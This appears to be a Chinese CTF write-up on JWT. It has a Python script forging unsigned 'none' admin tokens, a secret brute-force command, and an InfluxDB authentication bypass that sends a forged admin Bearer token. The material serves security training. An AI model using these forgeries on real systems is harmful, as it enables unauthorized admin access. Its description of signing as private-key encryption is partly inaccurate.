JWT的优点
- 可扩展性:JWT的载荷部分可以自定义,可以根据具体需求添加额外的用户信息,实现灵活的身份验证和授权。
- 可靠性:JWT通过数字签名的方式保证了其完整性和真实性,可以有效防止令牌被篡改或伪造。
- 安全性:JWT的签名过程使用了加密算法,保证了令牌的安全性。同时,JWT的令牌是无状态的,即服务端不需要存储令牌信息,降低了安全风险。
JWT(JSON Web Token)的结构由三部分组成,分别是Header、Payload和Signature,
HEADER:ALGORITHM & TOKEN TYPE 头部(Header)
头部描述了JWT的元数据,包括算法(alg)和类别(typ)等信息。其中,alg描述了用于签名的算法,例如HMAC-SHA256(HS256);typ表示令牌类型,通常设置为JWT,表示这是一个JWT类型的令牌。
{
"alg": "None",
"typ": "jwt"
}
PAYLOAD:DATA 载荷(Payload)
载荷包含了用户信息和其他元数据。这些信息可以是用户的姓名、角色、到期时间等。载荷是JWT的主体部分,用于传递用户信息。
[
{
"iss": "admin",
"iat": 1717499772,
"exp": 1717506972,
"nbf": 1717499772,
"sub": "admin",
"jti": "6b9d48c1b7b806a7ecfd1f45c8031b3c"
}
]
Signature签名
签名用于验证JWT的完整性和真实性。签名通过对头部和载荷进行哈希运算,并使用私钥进行加密生成。接收者可以使用公钥对签名进行解密,从而验证JWT的真实性和来源。
web345
根据提示,抓包访问/admin
这里也可以分开解密,也就是在小数点前面的base64解密,以小数点分开,比较麻烦,使用https://jwt.io/ ()https://www.box3.cn/tools/jwt.html,解开查看
使用的是”None”,表示没有使用任何算法进行签名,即未进行数字签名。
将sub值改成:admin ,然后base,改入即可
web346
这里的alg 可以更改“none”
import base64
def jwtBase64Encode(x):
return (
base64.b64encode(x.encode("utf-8"))
.decode()
.replace("+", "-")
.replace("/", "_")
.replace("=", "")
)
header = '{"alg": "none", "typ": "JWT"}'
payload = '{"iss":"admin","iat":1717514570,"exp":1717521770,"nbf":1717514570,"sub":"admin","jti":"ea8ff8a797b8cba94c0ee1d692a9b20a"} '
print(jwtBase64Encode(header) + "." + jwtBase64Encode(payload) + ".")
下面的都和上面一样了
web347
工具爆破:https://github.com/alwaystest18/jwtCracker
./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcxNzUxNzEyMCwiZXhwIjoxNzE3NTI0MzIwLCJuYmYiOjE3MTc1MTcxMjAsInN1YiI6InVzZXIiLCJqdGkiOiJmMzI5NWFkNzJkNmU3YjUwY2ZhYzVjZTI0NTZmNWQzNSJ9.7B01d_ro-3HY8bXNRYzfyIFN3hVAbkceL9FQ1YpUjAQ
填入密码 :123456 以及admin
InfluxDB JWT 认证绕过漏洞
访问../debug/vars即可查看一些服务信息,但此时执行SQL语句则会出现401错误
借助https://jwt.io/来生成jwt token:
{
"alg": "HS256",
"typ": "JWT"
}
///////////////
{
"username": "admin",
"exp": 1718785859
}
其中,admin一个已经存在的用户,exp一个时间戳,代表这个token的过期时间,你需要设置为一个未来的时间戳。借助https://tool.lu/timestamp/来生成时间戳。
抓取/query页面的数据包,将请求方式修改为POST,添加以下请求字段
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzE4Nzg1ODU5fQ.rHwwmfwtbE2RiolcRi8BWwWnj1Lk7o_HAvb0_f3fNXo
Content-Type: application/x-www-form-urlencoded
发送带有这个jwt token的数据包,可见SQL语句执行成功: